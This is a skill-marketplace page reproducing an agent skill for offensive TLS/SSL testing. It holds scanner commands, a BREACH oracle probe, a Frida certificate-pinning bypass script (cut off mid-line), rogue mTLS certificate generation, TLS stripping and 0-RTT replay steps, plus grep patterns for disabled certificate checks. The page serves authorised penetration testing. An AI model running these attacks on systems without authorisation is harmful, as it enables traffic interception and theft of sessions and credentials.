Mmcp.market

offensive-tls-attacks skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

Comprehensive methodology for auditing and exploiting TLS/SSL implementations and misconfigurations across network services and mobile applications. Covers protocol downgrade attacks including POODLE (CVE-2014-3566) against SSLv3 CBC padding, DROWN (CVE-2016-0800) cross-protocol attack leveraging SSLv2 export ciphers to decrypt TLS sessions, and FREAK (CVE-2015-0204) forcing RSA export-grade key exchange. Addresses BEAST (CVE-2011-3389) exploiting CBC IV predictability in TLS 1.0, CRIME (CVE-2012-4929) and BREACH targeting TLS-level and HTTP-level compression oracles respectively, and Heartbleed (CVE-2014-0160) for OpenSSL memory disclosure. Covers certificate validation bypass techniques for applications with improper hostname verification or chain validation, certificate pinning bypass using Frida and Objection for mobile application interception, HSTS bypass via NTP manipulation and subdomain exploitation, TLS 1.3 0-RTT replay attacks against non-idempotent endpoints, mutual TLS (mTLS) authentication attacks including client certificate theft and relay, and Certificate Transparency log monitoring for reconnaissance. Primary tooling includes testssl.sh for comprehensive TLS auditing, sslyze for Python-integrated scanning, sslscan for quick cipher enumeration, and tlsx for high-speed TLS probing at scale. Maps to CWE-295 (Improper Certificate Validation), CWE-319 (Cleartext Transmission of Sensitive Information), and CWE-757 (Selection of Less-Secure Algorithm During Negotiation).

A97/100content scan

Is the offensive-tls-attacks skill safe?

Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.

  • lowSKILL.md:1

    The description is over 1,024 characters, the limit agents read.

    1506 characters

Install the offensive-tls-attacks skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/crypto/offensive-tls-attacks ~/.claude/skills/offensive-tls-attacks
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

TLS/SSL Attacks and Misconfiguration Exploitation

You are performing offensive TLS/SSL analysis against target infrastructure. This skill covers the full attack surface of transport layer security -- from protocol-level cryptographic weaknesses to implementation bugs, certificate validation failures, and deployment misconfigurations. You treat every TLS handshake as an opportunity for enumeration and every certificate chain as a trust boundary to probe.

Quick Workflow

  1. Enumerate the target's TLS configuration -- supported protocols, cipher suites, certificate chain, extensions.
  2. Identify deprecated protocols (SSLv2, SSLv3, TLS 1.0, TLS 1.1) and weak cipher suites (export, NULL, RC4, DES, 3DES).
  3. Check for known protocol vulnerabilities -- POODLE, DROWN, FREAK, BEAST, Heartbleed.
  4. Test compression oracle exposure -- CRIME at the TLS layer, BREACH at the HTTP layer.
  5. Validate certificate handling -- chain verification, hostname matching, pinning enforcement, revocation checking.
  6. Assess TLS 1.3 features -- 0-RTT replay, downgrade sentinel presence, supported groups.
  7. For mobile targets, bypass certificate pinning and intercept traffic.
  8. Document findings with protocol evidence and remediation priorities.

TLS Enumeration and Scanning

Begin every TLS engagement with comprehensive enumeration. Use testssl.sh as the primary tool -- it requires no dependencies beyond bash and OpenSSL and produces detailed output covering protocols, ciphers, vulnerabilities, and certificate details.

# Full scan with all checks, output to JSON and HTML
testssl.sh --jsonfile results.json --htmlfile results.html \
  --ip one --sneaky --warnings batch \
  target.com:443

# Quick protocol and cipher check
testssl.sh --protocols --ciphers target.com:443

# Check only for specific vulnerabilities
testssl.sh --heartbleed --ccs-injection --ticketbleed \
  --robot --poodle --beast --crime --breach --drown --freak \
  --logjam --sweet32 target.com:443

# Scan multiple targets from a file
testssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json

Use sslyze for Python-integrated scanning and CI/CD pipeline integration:

# Standard scan with all plugins
sslyze --regular target.com

# JSON output for programmatic processing
sslyze --json_out results.json target.com

# Check specific vulnerability classes
sslyze --heartbleed --openssl_ccs --robot target.com

# Scan with client certificate authentication
sslyze --cert /path/to/client.pem --key /path/to/client.key target.com

Use sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:

# sslscan quick enumeration
sslscan --no-fallback target.com:443

# tlsx high-speed probing across many hosts
cat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json

# tlsx specific checks
cat hosts.txt | tlsx -san -cn -so -json  # Extract SANs, CNs, server orgs
cat hosts.txt | tlsx -tls-version tls10   # Find hosts still accepting TLS 1.0
cat hosts.txt | tlsx -expired -self-signed -mismatched  # Certificate issues

Protocol Downgrade Attacks

Protocol downgrade attacks force a TLS connection to negotiate a weaker protocol version that has known vulnerabilities. These attacks exploit the backward-compatible fallback mechanisms built into TLS.

POODLE (CVE-2014-3566) exploits the non-deterministic padding in SSLv3 CBC mode. Unlike TLS, SSLv3 does not specify the padding byte values, and the receiver does not verify them -- only the padding length byte matters. This allows an active attacker to decrypt one byte of plaintext per 256 requests on average.

# Check if the target supports SSLv3
testssl.sh --poodle target.com:443
openssl s_client -ssl3 -connect target.com:443

# TLS POODLE variant: check for CBC padding oracle in TLS implementations
testssl.sh --poodle target.com:443
# Look for "POODLE, TLS" in output -- indicates vulnerable TLS implementation

DROWN (CVE-2016-0800) is a cross-protocol attack. If a server (or any server sharing the same RSA key) supports SSLv2, an attacker can decrypt passively captured TLS sessions. The attack adapts Bleichenbacher's RSA padding oracle using SSLv2 export cipher handshakes.

# Check for SSLv2 support (direct DROWN)
testssl.sh --drown target.com:443

# Check with OpenSSL (requires a build with SSLv2 enabled)
openssl s_client -ssl2 -connect target.com:443

# General DROWN also applies when another server shares the same RSA key
# Extract the certificate and search for key reuse across infrastructure
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -noout -modulus | md5sum
# Compare this modulus hash across all servers in scope

FREAK (CVE-2015-0204) forces a downgrade to RSA_EXPORT cipher suites with 512-bit RSA keys, which are factorable in hours on commodity hardware:

# Check for export cipher support
testssl.sh --freak target.com:443
sslyze --openssl_ccs target.com

# Enumerate export ciphers directly
openssl s_client -cipher EXPORT -connect target.com:443
nmap --script ssl-enum-ciphers -p 443 target.com | grep -i export

BEAST Attack

BEAST (CVE-2011-3389) exploits the predictable IV in TLS 1.0 CBC mode. In TLS 1.0, the IV for each record is the last ciphertext block of the previous record, making it known to an attacker who can observe the ciphertext. Combined with a chosen-plaintext capability (via JavaScript in a browser), this enables blockwise decryption of targeted bytes.

# Check for BEAST vulnerability
testssl.sh --beast target.com:443

# Verify TLS 1.0 with CBC ciphers is available
openssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443

BEAST requires the attacker to inject chosen plaintext into the same TLS connection (typically via JavaScript in adjacent browser contexts). Modern mitigations include 1/n-1 record splitting (implemented in all current browsers) and upgrading to TLS 1.2+ where explicit IVs are used.

Confirm the condition: if openssl s_client -tls1 -cipher 'ALL:!eNULL' negotiates any CBC cipher, the connection is BEAST-eligible. Cross-reference the server's JA3S fingerprint to verify TLS 1.0 negotiation.

CRIME and BREACH

CRIME (CVE-2012-4929) exploits TLS-level compression. When TLS compression is enabled, an attacker who can inject chosen plaintext into a request and observe the compressed ciphertext length can recover secret values (such as session cookies) one byte at a time.

# Check for TLS compression
testssl.sh --crime target.com:443
openssl s_client -connect target.com:443 | grep -i compression
# "Compression: NONE" means not vulnerable to CRIME

BREACH exploits HTTP-level compression (gzip/deflate) and is far more prevalent than CRIME because HTTP compression is almost universally enabled. The attack recovers secrets that appear in HTTP response bodies alongside attacker-reflected input.

# Check for BREACH preconditions
testssl.sh --breach target.com:443

# Manual check: verify HTTP compression is enabled
curl -sI -H "Accept-Encoding: gzip, deflate" https://target.com/ | \
  grep -i content-encoding
# "Content-Encoding: gzip" combined with reflected input + secrets in body = vulnerable
import requests
import string

def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
    """
    BREACH oracle: measure compressed response length to recover secrets.
    Requires: HTTP compression enabled, secret in response body,
    attacker can inject chosen text that is reflected in the same response.
    """
    results = {}
    for c in charset:
        candidate = known_prefix + c
        # Inject candidate via a reflected parameter
        resp = requests.get(url, params={"search": candidate},
                          headers={"Accept-Encoding": "gzip"})
        # The response object's content is decompressed; use raw socket
        # or measure the actual wire bytes for a real attack.
        # Here we demonstrate the concept:
        results[c] = len(resp.content)

    # The correct byte compresses better (shorter response)
    best = min(results, key=results.get)
    return known_prefix + best

# BREACH mitigations: disable HTTP compression for pages containing secrets,
# add random padding to responses, use per-request CSRF tokens,
# separate secret-bearing responses from reflected-input responses

Heartbleed (CVE-2014-0160)

Heartbleed is a buffer over-read in OpenSSL's TLS heartbeat extension (OpenSSL 1.0.1 through 1.0.1f). A malformed heartbeat request causes the server to return up to 64KB of process memory per request, potentially exposing private keys, session cookies, credentials, and other sensitive data.

# Test for Heartbleed
testssl.sh --heartbleed target.com:443
sslyze --heartbleed target.com

# Nmap script
nmap -p 443 --script ssl-heartbleed target.com

# Manual test with OpenSSL
# This requires a version of OpenSSL that supports the heartbeat extension
openssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \
  grep -i heartbeat

The attack sends a TLS heartbeat request declaring a large payload length (up to 16384 bytes) but including only a single byte of actual payload. Vulnerable OpenSSL versions return the declared length from process memory. Each request leaks up to 64KB; repeated requests may expose private keys, session tokens, and credentials from different memory regions. Use the Nmap script or testssl.sh for reliable detection; for manual exploitation, existing PoC scripts (heartbleed.py variants) handle the raw TLS handshake and heartbeat framing.

Certificate Validation Bypass

Applications that fail to properly validate TLS certificates create interception opportunities. Common flaws include disabled verification, missing hostname checks, accepting self-signed certificates, and incomplete chain validation.

# Detect applications with disabled certificate verification
# These patterns indicate vulnerable implementations:

# Python requests - disabled verification
# requests.get(url, verify=False)

# Python urllib3 - disabled warnings indicate suppressed verification
# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Node.js - disabled TLS rejection
# process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"

# Java - TrustAllCerts pattern
# TrustManager[] trustAllCerts = new TrustManager[] {
#     new X509TrustManager() {
#         public void checkClientTrusted(...) {}
#         public void checkServerTrusted(...) {}
#     }
# };

# cURL - insecure flag
# curl -k / curl --insecure

Search for these patterns in source code and configuration files during assessments:

# Search for disabled certificate verification in codebases
grep -rn "verify=False" --include="*.py" .
grep -rn "CERT_NONE" --include="*.py" .
grep -rn "NODE_TLS_REJECT_UNAUTHORIZED" --include="*.js" .
grep -rn "InsecureTrustManagerFactory" --include="*.java" .
grep -rn "TrustAllCerts\|trustAllCerts\|ALLOW_ALL" --include="*.java" .
grep -rn "AllowAllHostnameVerifier\|NoopHostnameVerifier" --include="*.java" .
grep -rn "ServerCertificateValidationCallback" --include="*.cs" .
grep -rn "InsecureSkipVerify.*true" --include="*.go" .

Certificate Pinning Bypass

Mobile applications that implement certificate pinning require active bypass techniques for traffic interception. Use Frida and Objection for runtime instrumentation.

# Objection: automated pinning bypass for Android and iOS
# Launch the target application with Objection
objection -g com.target.app explore

# Inside the Objection REPL:
# Disable SSL pinning (covers common pinning libraries)
android sslpinning disable
# or for iOS:
ios sslpinning disable
# Frida: custom pinning bypass scripts

# Android: bypass OkHttp CertificatePinner
frida -U -f com.target.app -l bypass_pinning.js --no-pause

# Universal Android SSL pinning bypass with Frida
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida
// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries

Java.perform(function() {
    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List')
            .implementation = function(hostname, peerCertificates) {
            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
            return;
        };
    } catch (e) {
        console.log('[-] OkHttp3 not found');
    }

    // Bypass custom TrustManager
    try {
        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
        var SSLContext = Java.use('javax.net.ssl.SSLContext');

        var TrustManager = Java.registerClass({
            name: 'com.bypass.TrustManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });

        var Trust
# For rooted Android devices: install a system CA certificate
# Convert your proxy CA to Android format
openssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1
# Rename to <hash>.0
cp proxy_ca.pem 9a5ba575.0
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0

HSTS Bypass and TLS Stripping

HSTS prevents downgrade from HTTPS to HTTP, but it has inherent bootstrap and scope weaknesses.

# Check HSTS configuration
curl -sI https://target.com | grep -i strict-transport-security

# Verify HSTS preload status
# Check https://hstspreload.org/?domain=target.com

# sslstrip2 (Leonardo Nve's HSTS bypass) works by:
# 1. Stripping HTTPS links on first visit (before HSTS is cached)
# 2. Replacing domains with similar subdomains not covered by HSTS
# 3. Proxying the real HTTPS connection on the attacker side

# mitmproxy with sslstrip mode
mitmproxy --mode transparent --ssl-insecure --set block_global=false

HSTS bypass vectors:

  • First visit: HSTS is trust-on-first-use. If the user has never visited the site and the site is not on the preload list, the initial HTTP request can be intercepted.
  • Subdomain scope: includeSubDomains is often missing. Attack via http://sub.target.com even if target.com has HSTS.
  • NTP manipulation: HSTS entries expire. If you can manipulate the client's clock (via NTP spoofing on the local network), cached HSTS policies can be aged out.
  • Private browsing: Some browsers do not persist HSTS across private browsing sessions.

TLS 1.3 -- 0-RTT Replay

TLS 1.3 eliminates most legacy attacks but introduces 0-RTT (Early Data) which is explicitly not replay-protected. Servers that accept 0-RTT data for non-idempotent operations are vulnerable to replay attacks.

# Check if the server accepts 0-RTT early data
openssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem
openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \
  -early_data request.txt

# testssl.sh checks for 0-RTT
testssl.sh --grease target.com:443

The two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.

mTLS Attacks

Mutual TLS authentication presents additional attack surfaces around client certificate handling.

# Enumerate mTLS requirements
openssl s_client -connect target.com:443 2>&1 | grep -A5 "Acceptable client"

# Test with a stolen or self-signed client certificate
openssl s_client -connect target.com:443 \
  -cert client.pem -key client.key -CAfile ca.pem

# Generate a rogue client certificate matching the expected CN/OU
openssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \
  -days 365 -nodes \
  -subj "/CN=legitimate-service/O=Target Corp/OU=Engineering"

# Check if the server validates the issuing CA or just the certificate fields
openssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key

Attack vectors against mTLS:

  • Missing CA validation: Server accepts any client certificate regardless of issuer.
  • Overly broad CA trust: Server trusts a CA that also issues certificates to unrelated parties.
  • Client certificate theft: Extract client certificates from keystores, environment variables, CI/CD pipelines, or container images.
  • Certificate relay: Forward client certificate challenges to a legitimate client and relay responses.

Certificate Transparency Monitoring

More skills from SnailSploit/Claude-Red

  • Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
  • Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
  • Coffensive-ai-security
  • Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
  • Aoffensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
  • Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
  • Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
  • Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
  • Aoffensive-bug-identification
  • Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
  • Aoffensive-c2-frameworksCommand and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
  • Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.

All agent skills → · MCP servers